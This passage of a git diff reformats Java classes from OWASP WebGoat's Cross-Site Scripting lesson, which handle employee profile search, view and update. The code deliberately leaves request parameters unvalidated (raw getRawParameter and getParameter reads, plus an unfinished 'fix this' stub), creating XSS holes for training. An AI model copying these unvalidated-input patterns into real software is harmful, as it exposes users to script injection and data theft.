- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class EditProfile extends DefaultLessonAction
{
- public EditProfile(GoatHillsFinancial lesson, String lessonName,
- String actionName)
- {
- super(lesson, lessonName, actionName);
- }
-
-
- public void handleRequest(WebSession s) throws ParameterNotFoundException,
- UnauthenticatedException, UnauthorizedException
- {
- getLesson().setCurrentAction(s, getActionName());
-
- if (isAuthenticated(s))
+ public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{
- int userId = getUserId(s);
- int employeeId = s.getParser().getIntParameter(
- CrossSiteScripting.EMPLOYEE_ID);
-
- Employee employee = getEmployeeProfile(s, userId, employeeId);
- setSessionAttribute(s, getLessonName() + "."
- + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
+ super(lesson, lessonName, actionName);
}
- else
- throw new UnauthenticatedException();
- }
-
- public String getNextPage(WebSession s)
- {
- return CrossSiteScripting.EDITPROFILE_ACTION;
- }
-
-
- public Employee getEmployeeProfile(WebSession s, int userId,
- int subjectUserId) throws UnauthorizedException
- {
- Employee profile = null;
-
- // Query the database for the profile data of the given employee
- try
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
+ UnauthorizedException
{
- String query = "SELECT * FROM employee WHERE userid = ?";
+ getLesson().setCurrentAction(s, getActionName());
- try
- {
- PreparedStatement answer_statement = WebSession
- .getConnection(s).prepareStatement(query,
- ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- answer_statement.setInt(1, subjectUserId);
- ResultSet answer_results = answer_statement.executeQuery();
- if (answer_results.next())
+ if (isAuthenticated(s))
{
- // Note: Do NOT get the password field.
- profile = new Employee(answer_results.getInt("userid"),
- answer_results.getString("first_name"),
- answer_results.getString("last_name"),
- answer_results.getString("ssn"), answer_results
- .getString("title"), answer_results
- .getString("phone"), answer_results
- .getString("address1"), answer_results
- .getString("address2"), answer_results
- .getInt("manager"), answer_results
- .getString("start_date"), answer_results
- .getInt("salary"), answer_results
- .getString("ccn"), answer_results
- .getInt("ccn_limit"), answer_results
- .getString("disciplined_date"),
- answer_results.getString("disciplined_notes"),
- answer_results.getString("personal_description"));
- /* System.out.println("Retrieved employee from db: " +
- profile.getFirstName() + " " + profile.getLastName() +
- " (" + profile.getId() + ")");
- */}
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error getting employee profile");
- sqle.printStackTrace();
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error getting employee profile");
- e.printStackTrace();
+ int userId = getUserId(s);
+ int employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID);
+
+ Employee employee = getEmployeeProfile(s, userId, employeeId);
+ setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
+ }
+ else
+ throw new UnauthenticatedException();
}
- return profile;
- }
-
-
- public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
- int subjectUserId) throws UnauthorizedException
- {
- Employee profile = null;
-
- // Query the database for the profile data of the given employee
- try
+ public String getNextPage(WebSession s)
{
- String query = "SELECT * FROM employee WHERE userid = ?";
+ return CrossSiteScripting.EDITPROFILE_ACTION;
+ }
- try
- {
- PreparedStatement answer_statement = WebSession
- .getConnection(s).prepareStatement(query,
- ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- answer_statement.setInt(1, subjectUserId);
- ResultSet answer_results = answer_statement.executeQuery();
- if (answer_results.next())
+ public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
+ {
+ Employee profile = null;
+
+ // Query the database for the profile data of the given employee
+ try
{
- // Note: Do NOT get the password field.
- profile = new Employee(answer_results.getInt("userid"),
- answer_results.getString("first_name"),
- answer_results.getString("last_name"),
- answer_results.getString("ssn"), answer_results
- .getString("title"), answer_results
- .getString("phone"), answer_results
- .getString("address1"), answer_results
- .getString("address2"), answer_results
- .getInt("manager"), answer_results
- .getString("start_date"), answer_results
- .getInt("salary"), answer_results
- .getString("ccn"), answer_results
- .getInt("ccn_limit"), answer_results
- .getString("disciplined_date"),
- answer_results.getString("disciplined_notes"),
- answer_results.getString("personal_description"));
- /* System.out.println("Retrieved employee from db: " +
- profile.getFirstName() + " " + profile.getLastName() +
- " (" + profile.getId() + ")");
- */}
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error getting employee profile");
- sqle.printStackTrace();
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error getting employee profile");
- e.printStackTrace();
+ String query = "SELECT * FROM employee WHERE userid = ?";
+
+ try
+ {
+ PreparedStatement answer_statement = WebSession.getConnection(s)
+ .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ answer_statement.setInt(1, subjectUserId);
+ ResultSet answer_results = answer_statement.executeQuery();
+ if (answer_results.next())
+ {
+ // Note: Do NOT get the password field.
+ profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
+ answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
+ .getString("title"), answer_results.getString("phone"), answer_results
+ .getString("address1"), answer_results.getString("address2"), answer_results
+ .getInt("manager"), answer_results.getString("start_date"), answer_results
+ .getInt("salary"), answer_results.getString("ccn"), answer_results
+ .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
+ .getString("disciplined_notes"), answer_results.getString("personal_description"));
+ /*
+ * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
+ * profile.getLastName() + " (" + profile.getId() + ")");
+ */}
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error getting employee profile");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error getting employee profile");
+ e.printStackTrace();
+ }
+
+ return profile;
}
- return profile;
- }
+ public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
+ {
+ Employee profile = null;
+
+ // Query the database for the profile data of the given employee
+ try
+ {
+ String query = "SELECT * FROM employee WHERE userid = ?";
+
+ try
+ {
+ PreparedStatement answer_statement = WebSession.getConnection(s)
+ .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ answer_statement.setInt(1, subjectUserId);
+ ResultSet answer_results = answer_statement.executeQuery();
+ if (answer_results.next())
+ {
+ // Note: Do NOT get the password field.
+ profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
+ answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
+ .getString("title"), answer_results.getString("phone"), answer_results
+ .getString("address1"), answer_results.getString("address2"), answer_results
+ .getInt("manager"), answer_results.getString("start_date"), answer_results
+ .getInt("salary"), answer_results.getString("ccn"), answer_results
+ .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
+ .getString("disciplined_notes"), answer_results.getString("personal_description"));
+ /*
+ * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
+ * profile.getLastName() + " (" + profile.getId() + ")");
+ */}
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error getting employee profile");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error getting employee profile");
+ e.printStackTrace();
+ }
+
+ return profile;
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java
index 42bc14f07..c240cde80 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.PreparedStatement;
@@ -7,7 +8,6 @@ import java.util.HashMap;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@@ -18,239 +18,202 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class FindProfile extends DefaultLessonAction
{
- private LessonAction chainedAction;
+ private LessonAction chainedAction;
-
- public FindProfile(GoatHillsFinancial lesson, String lessonName,
- String actionName, LessonAction chainedAction)
- {
- super(lesson, lessonName, actionName);
- this.chainedAction = chainedAction;
- }
-
-
- public void handleRequest(WebSession s) throws ParameterNotFoundException,
- UnauthenticatedException, UnauthorizedException,
- ValidationException
- {
- if (isAuthenticated(s))
+ public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
- int userId = getIntSessionAttribute(s, getLessonName() + "."
- + CrossSiteScripting.USER_ID);
+ super(lesson, lessonName, actionName);
+ this.chainedAction = chainedAction;
+ }
- String searchName = null;
- try
- {
- searchName = getRequestParameter(s,
- CrossSiteScripting.SEARCHNAME);
-
- Employee employee = null;
-
- employee = findEmployeeProfile(s, userId, searchName);
- if (employee == null)
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
+ UnauthorizedException, ValidationException
+ {
+ if (isAuthenticated(s))
{
- setSessionAttribute(s, getLessonName() + "."
- + CrossSiteScripting.SEARCHRESULT_ATTRIBUTE_KEY,
- "Employee " + searchName + " not found.");
- }
- }
- catch (ValidationException e)
- {
- if (CrossSiteScripting.STAGE6.equals(getStage(s)))
- {
- setStageComplete(s, CrossSiteScripting.STAGE6);
- }
- throw e;
- }
+ int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
- if (CrossSiteScripting.STAGE5.equals(getStage(s)))
- {
- if (searchName.indexOf("") > -1)
- {
- setStageComplete(s, CrossSiteScripting.STAGE5);
- }
- }
+ String searchName = null;
+ try
+ {
+ searchName = getRequestParameter(s, CrossSiteScripting.SEARCHNAME);
- // Execute the chained Action if the employee was found.
- if (foundEmployee(s))
- {
+ Employee employee = null;
+
+ employee = findEmployeeProfile(s, userId, searchName);
+ if (employee == null)
+ {
+ setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.SEARCHRESULT_ATTRIBUTE_KEY,
+ "Employee " + searchName + " not found.");
+ }
+ } catch (ValidationException e)
+ {
+ if (CrossSiteScripting.STAGE6.equals(getStage(s)))
+ {
+ setStageComplete(s, CrossSiteScripting.STAGE6);
+ }
+ throw e;
+ }
+
+ if (CrossSiteScripting.STAGE5.equals(getStage(s)))
+ {
+ if (searchName.indexOf("") > -1)
+ {
+ setStageComplete(s, CrossSiteScripting.STAGE5);
+ }
+ }
+
+ // Execute the chained Action if the employee was found.
+ if (foundEmployee(s))
+ {
+ try
+ {
+ chainedAction.handleRequest(s);
+ } catch (UnauthenticatedException ue1)
+ {
+ System.out.println("Internal server error");
+ ue1.printStackTrace();
+ } catch (UnauthorizedException ue2)
+ {
+ System.out.println("Internal server error");
+ ue2.printStackTrace();
+ }
+ }
+ }
+ else
+ throw new UnauthenticatedException();
+ }
+
+ public String getNextPage(WebSession s)
+ {
+ String page = CrossSiteScripting.SEARCHSTAFF_ACTION;
+
+ if (foundEmployee(s)) page = CrossSiteScripting.VIEWPROFILE_ACTION;
+
+ return page;
+ }
+
+ protected String getRequestParameter(WebSession s, String name) throws ParameterNotFoundException,
+ ValidationException
+ {
+ return s.getParser().getRawParameter(name);
+ }
+
+ protected String getRequestParameter_BACKUP(WebSession s, String name) throws ParameterNotFoundException,
+ ValidationException
+ {
+ return s.getParser().getRawParameter(name);
+ }
+
+ public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException
+ {
+ Employee profile = null;
+
+ // Query the database for the profile data of the given employee
try
{
- chainedAction.handleRequest(s);
- }
- catch (UnauthenticatedException ue1)
+ String query = "SELECT * FROM employee WHERE first_name like ? OR last_name like ?";
+
+ try
+ {
+ PreparedStatement answer_statement = WebSession.getConnection(s)
+ .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ answer_statement.setString(1, "%" + pattern + "%");
+ answer_statement.setString(2, "%" + pattern + "%");
+ ResultSet answer_results = answer_statement.executeQuery();
+
+ // Just use the first hit.
+ if (answer_results.next())
+ {
+ int id = answer_results.getInt("userid");
+ // Note: Do NOT get the password field.
+ profile = new Employee(id, answer_results.getString("first_name"), answer_results
+ .getString("last_name"), answer_results.getString("ssn"),
+ answer_results.getString("title"), answer_results.getString("phone"), answer_results
+ .getString("address1"), answer_results.getString("address2"), answer_results
+ .getInt("manager"), answer_results.getString("start_date"), answer_results
+ .getInt("salary"), answer_results.getString("ccn"), answer_results
+ .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
+ .getString("disciplined_notes"), answer_results.getString("personal_description"));
+
+ /*
+ * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
+ * profile.getLastName() + " (" + profile.getId() + ")");
+ */
+ setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer.toString(id));
+ }
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error finding employee profile");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
{
- System.out.println("Internal server error");
- ue1.printStackTrace();
+ s.setMessage("Error finding employee profile");
+ e.printStackTrace();
}
- catch (UnauthorizedException ue2)
+
+ return profile;
+ }
+
+ private boolean foundEmployee(WebSession s)
+ {
+ boolean found = false;
+ try
{
- System.out.println("Internal server error");
- ue2.printStackTrace();
- }
- }
- }
- else
- throw new UnauthenticatedException();
- }
-
-
- public String getNextPage(WebSession s)
- {
- String page = CrossSiteScripting.SEARCHSTAFF_ACTION;
-
- if (foundEmployee(s))
- page = CrossSiteScripting.VIEWPROFILE_ACTION;
-
- return page;
- }
-
-
- protected String getRequestParameter(WebSession s, String name)
- throws ParameterNotFoundException, ValidationException
- {
- return s.getParser().getRawParameter(name);
- }
-
-
- protected String getRequestParameter_BACKUP(WebSession s, String name)
- throws ParameterNotFoundException, ValidationException
- {
- return s.getParser().getRawParameter(name);
- }
-
-
- public Employee findEmployeeProfile(WebSession s, int userId, String pattern)
- throws UnauthorizedException
- {
- Employee profile = null;
-
- // Query the database for the profile data of the given employee
- try
- {
- String query = "SELECT * FROM employee WHERE first_name like ? OR last_name like ?";
-
- try
- {
- PreparedStatement answer_statement = WebSession
- .getConnection(s).prepareStatement(query,
- ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- answer_statement.setString(1, "%" + pattern + "%");
- answer_statement.setString(2, "%" + pattern + "%");
- ResultSet answer_results = answer_statement.executeQuery();
-
- // Just use the first hit.
- if (answer_results.next())
+ getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID);
+ found = true;
+ } catch (ParameterNotFoundException e)
{
- int id = answer_results.getInt("userid");
- // Note: Do NOT get the password field.
- profile = new Employee(id, answer_results
- .getString("first_name"), answer_results
- .getString("last_name"), answer_results
- .getString("ssn"), answer_results
- .getString("title"), answer_results
- .getString("phone"), answer_results
- .getString("address1"), answer_results
- .getString("address2"), answer_results
- .getInt("manager"), answer_results
- .getString("start_date"), answer_results
- .getInt("salary"), answer_results.getString("ccn"),
- answer_results.getInt("ccn_limit"), answer_results
- .getString("disciplined_date"),
- answer_results.getString("disciplined_notes"),
- answer_results.getString("personal_description"));
-
- /* System.out.println("Retrieved employee from db: " +
- profile.getFirstName() + " " + profile.getLastName() +
- " (" + profile.getId() + ")");
- */
- setRequestAttribute(s, getLessonName() + "."
- + CrossSiteScripting.EMPLOYEE_ID, Integer
- .toString(id));
}
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error finding employee profile");
- sqle.printStackTrace();
- }
+
+ return found;
}
- catch (Exception e)
+
+ protected String validate(final String parameter, final Pattern pattern) throws ValidationException
{
- s.setMessage("Error finding employee profile");
- e.printStackTrace();
+ Matcher matcher = pattern.matcher(parameter);
+ if (!matcher.matches()) throw new ValidationException();
+
+ return parameter;
}
- return profile;
- }
-
-
- private boolean foundEmployee(WebSession s)
- {
- boolean found = false;
- try
+ protected static Map patterns = new HashMap();
+ static
{
- getIntRequestAttribute(s, getLessonName() + "."
- + CrossSiteScripting.EMPLOYEE_ID);
- found = true;
+ patterns.put(CrossSiteScripting.SEARCHNAME, Pattern.compile("[a-zA-Z ]{0,20}"));
}
- catch (ParameterNotFoundException e)
- {}
-
- return found;
- }
-
-
- protected String validate(final String parameter, final Pattern pattern)
- throws ValidationException
- {
- Matcher matcher = pattern.matcher(parameter);
- if (!matcher.matches())
- throw new ValidationException();
-
- return parameter;
- }
-
- protected static Map patterns = new HashMap();
- static
- {
- patterns.put(CrossSiteScripting.SEARCHNAME, Pattern
- .compile("[a-zA-Z ]{0,20}"));
- }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java
index 157a0e8b4..449247e36 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java
@@ -1,14 +1,13 @@
+
package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.ResultSet;
import java.sql.SQLException;
-import java.sql.PreparedStatement;
+import java.sql.PreparedStatement;
import java.sql.Statement;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-
import javax.servlet.http.HttpServletRequest;
-
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@@ -20,417 +19,370 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class UpdateProfile extends DefaultLessonAction
{
- private LessonAction chainedAction;
+ private LessonAction chainedAction;
-
- public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
- String actionName, LessonAction chainedAction)
- {
- super(lesson, lessonName, actionName);
- this.chainedAction = chainedAction;
- }
-
-
- public void handleRequest(WebSession s) throws ParameterNotFoundException,
- UnauthenticatedException, UnauthorizedException,
- ValidationException
- {
- if (isAuthenticated(s))
+ public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
- int userId = getIntSessionAttribute(s, getLessonName() + "."
- + CrossSiteScripting.USER_ID);
+ super(lesson, lessonName, actionName);
+ this.chainedAction = chainedAction;
+ }
- int subjectId = s.getParser().getIntParameter(
- CrossSiteScripting.EMPLOYEE_ID, 0);
-
- Employee employee = null;
- try
- {
- employee = parseEmployeeProfile(subjectId, s);
- }
- catch (ValidationException e)
- {
- if (CrossSiteScripting.STAGE2.equals(getStage(s)))
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
+ UnauthorizedException, ValidationException
+ {
+ if (isAuthenticated(s))
{
- setStageComplete(s, CrossSiteScripting.STAGE2);
+ int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
+
+ int subjectId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID, 0);
+
+ Employee employee = null;
+ try
+ {
+ employee = parseEmployeeProfile(subjectId, s);
+ } catch (ValidationException e)
+ {
+ if (CrossSiteScripting.STAGE2.equals(getStage(s)))
+ {
+ setStageComplete(s, CrossSiteScripting.STAGE2);
+ }
+ throw e;
+ }
+
+ if (subjectId > 0)
+ {
+ this.changeEmployeeProfile(s, userId, subjectId, employee);
+ setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer
+ .toString(subjectId));
+ }
+ else
+ this.createEmployeeProfile(s, userId, employee);
+
+ try
+ {
+ chainedAction.handleRequest(s);
+ } catch (UnauthenticatedException ue1)
+ {
+ System.out.println("Internal server error");
+ ue1.printStackTrace();
+ } catch (UnauthorizedException ue2)
+ {
+ System.out.println("Internal server error");
+ ue2.printStackTrace();
+ }
}
- throw e;
- }
-
- if (subjectId > 0)
- {
- this.changeEmployeeProfile(s, userId, subjectId, employee);
- setRequestAttribute(s, getLessonName() + "."
- + CrossSiteScripting.EMPLOYEE_ID, Integer
- .toString(subjectId));
- }
- else
- this.createEmployeeProfile(s, userId, employee);
-
- try
- {
- chainedAction.handleRequest(s);
- }
- catch (UnauthenticatedException ue1)
- {
- System.out.println("Internal server error");
- ue1.printStackTrace();
- }
- catch (UnauthorizedException ue2)
- {
- System.out.println("Internal server error");
- ue2.printStackTrace();
- }
+ else
+ throw new UnauthenticatedException();
}
- else
- throw new UnauthenticatedException();
- }
-
- protected Employee parseEmployeeProfile(int subjectId, WebSession s)
- throws ParameterNotFoundException, ValidationException
- {
- // The input validation can be added using a parsing component
- // or by using an inline regular expression. The parsing component
- // is the better solution.
-
- HttpServletRequest request = s.getRequest();
- String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
- String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
- String ssn = request.getParameter(CrossSiteScripting.SSN);
- String title = request.getParameter(CrossSiteScripting.TITLE);
- String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
- String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
- String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
- int manager = Integer.parseInt(request
- .getParameter(CrossSiteScripting.MANAGER));
- String startDate = request.getParameter(CrossSiteScripting.START_DATE);
- int salary = Integer.parseInt(request
- .getParameter(CrossSiteScripting.SALARY));
- String ccn = request.getParameter(CrossSiteScripting.CCN);
- int ccnLimit = Integer.parseInt(request
- .getParameter(CrossSiteScripting.CCN_LIMIT));
- String disciplinaryActionDate = request
- .getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
- String disciplinaryActionNotes = request
- .getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
- String personalDescription = request
- .getParameter(CrossSiteScripting.DESCRIPTION);
-
- Employee employee = new Employee(subjectId, firstName, lastName, ssn,
- title, phone, address1, address2, manager, startDate, salary,
- ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
- personalDescription);
-
- return employee;
- }
-
-
- protected Employee parseEmployeeProfile_BACKUP(int subjectId, WebSession s)
- throws ParameterNotFoundException, ValidationException
- {
- // The input validation can be added using a parsing component
- // or by using an inline regular expression. The parsing component
- // is the better solution.
-
- HttpServletRequest request = s.getRequest();
- String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
- String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
- String ssn = request.getParameter(CrossSiteScripting.SSN);
- String title = request.getParameter(CrossSiteScripting.TITLE);
- String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
- String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
- String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
- int manager = Integer.parseInt(request
- .getParameter(CrossSiteScripting.MANAGER));
- String startDate = request.getParameter(CrossSiteScripting.START_DATE);
- int salary = Integer.parseInt(request
- .getParameter(CrossSiteScripting.SALARY));
- String ccn = request.getParameter(CrossSiteScripting.CCN);
- int ccnLimit = Integer.parseInt(request
- .getParameter(CrossSiteScripting.CCN_LIMIT));
- String disciplinaryActionDate = request
- .getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
- String disciplinaryActionNotes = request
- .getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
- String personalDescription = request
- .getParameter(CrossSiteScripting.DESCRIPTION);
-
- Employee employee = new Employee(subjectId, firstName, lastName, ssn,
- title, phone, address1, address2, manager, startDate, salary,
- ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
- personalDescription);
-
- return employee;
- }
-
-
- protected Employee doParseEmployeeProfile(int subjectId,
- ParameterParser parser) throws ParameterNotFoundException,
- ValidationException
- {
- // Fix this method using the org.owasp.webgoat.session.ParameterParser class
- return null;
- }
-
-
- public String getNextPage(WebSession s)
- {
- return CrossSiteScripting.VIEWPROFILE_ACTION;
- }
-
-
- public void changeEmployeeProfile(WebSession s, int userId, int subjectId,
- Employee employee) throws UnauthorizedException
- {
- try
+ protected Employee parseEmployeeProfile(int subjectId, WebSession s) throws ParameterNotFoundException,
+ ValidationException
{
- // Note: The password field is ONLY set by ChangePassword
- String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
- + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
- + " personal_description = ? WHERE userid = ?;";
- try
- {
- PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
-
- ps.setString(1, employee.getFirstName());
- ps.setString(2, employee.getLastName());
- ps.setString(3, employee.getSsn());
- ps.setString(4, employee.getTitle());
- ps.setString(5, employee.getPhoneNumber());
